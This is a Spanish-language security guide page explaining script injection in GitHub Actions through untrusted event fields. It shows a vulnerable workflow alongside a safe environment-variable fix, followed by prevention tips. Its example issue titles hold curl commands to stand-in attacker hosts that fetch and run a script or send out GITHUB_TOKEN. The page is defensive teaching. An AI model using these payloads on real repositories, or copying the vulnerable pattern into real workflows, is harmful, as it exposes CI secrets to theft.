Inyeccion de Script en GitHub Actions
Usar datos de eventos no confiables como github.event.issue.title directamente dentro de bloques run: permite a los atacantes inyectar comandos shell arbitrarios en tu pipeline CI creando titulos de issues, cuerpos de PR o mensajes de commit maliciosos.
Cómo Funciona
Las expresiones de GitHub Actions como ${{ github.event.issue.title }} se interpolan directamente en el script de shell antes de la ejecucion. Si un atacante crea un issue con el titulo "; curl http://evil.com/steal.sh | bash; echo ", el comando shell se convierte en echo "; curl http://evil.com/steal.sh | bash; echo " y el comando inyectado se ejecuta con acceso completo al GITHUB_TOKEN del workflow y cualquier secret configurado. Esto afecta cualquier contexto github.event.* que venga de entrada del usuario: titulos de issues, titulos de PR, cuerpo del PR, mensajes de commit, nombres de rama y cuerpos de comentarios. El atacante no necesita acceso de escritura al repositorio -- simplemente abrir un issue o PR es suficiente.
# BAD: user-controlled data interpolated directly into run: block
name: Issue Greeter
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "New issue: ${{ github.event.issue.title }}"
echo "By: ${{ github.event.issue.user.login }}"
# Attacker sets title to: "; curl attacker.com/exfil?t=$GITHUB_TOKEN; #"
# This executes arbitrary commands with repo secrets# GOOD: pass user input via environment variables (not interpolated into shell)
name: Issue Greeter
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- run: |
echo "New issue: $ISSUE_TITLE"
echo "By: $ISSUE_AUTHOR"
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
ISSUE_AUTHOR: ${{ github.event.issue.user.login }}
# Environment variables are NOT interpreted as shell codeEjemplo Real
En 2021, el investigador de seguridad Teddy Katz demostro inyeccion de scripts en los workflows de GitHub Actions de varios proyectos open-source de alto perfil incluyendo ESLint y webpack. El ataque requeria solo abrir un issue con un titulo crafteado. GitHub posteriormente publico un aviso de seguridad recomendando que todos los autores de workflows pasen inputs no confiables via variables de entorno en lugar de expresiones inline.
Cómo Prevenirlo
- Nunca uses ${{ github.event.* }} directamente dentro de bloques run: -- siempre pasa datos no confiables a traves de variables env:
- Usa actions/github-script con parametros de entrada explicitos en lugar de interpolacion de shell para operaciones complejas
- Restringe workflows disparados por issues/PRs de forks usando protecciones de entorno y aprobaciones requeridas
- Audita todos los archivos de workflow buscando expresiones ${{ }} inline dentro de pasos run: usando herramientas como actionlint
Tecnologías Afectadas
Data Hogo detecta esta vulnerabilidad automáticamente.
Escanea Tu Repo GratisVulnerabilidades Relacionadas
GitHub Actions Sin Fijar a SHA
highUsar GitHub Actions referenciados por tags mutables como @main o @v3 en lugar de SHAs de commit completos significa que una action comprometida o secuestrada puede inyectar codigo malicioso en tu pipeline CI sin ningun cambio en tu archivo workflow.
Secretos Filtrados en Logs de CI
highImprimir o hacer echo de variables de entorno que contienen secretos en scripts de CI los expone en los logs de build, que frecuentemente son accesibles para todos los colaboradores del repositorio y a veces visibles publicamente en proyectos open-source.
Riesgos de Runners Self-Hosted
highUsar runners self-hosted de GitHub Actions con pull_request_target o workflows de forks publicos permite que codigo no confiable de contribuidores externos se ejecute en tu infraestructura con acceso a secrets, estado persistido y la red del host.
Permisos de Workflow Excesivos
mediumLos workflows de GitHub Actions con permissions: write-all o sin bloque de permissions explicito otorgan al GITHUB_TOKEN acceso excesivo, permitiendo que un paso comprometido modifique codigo, cree releases, escriba paquetes o cambie configuraciones del repositorio.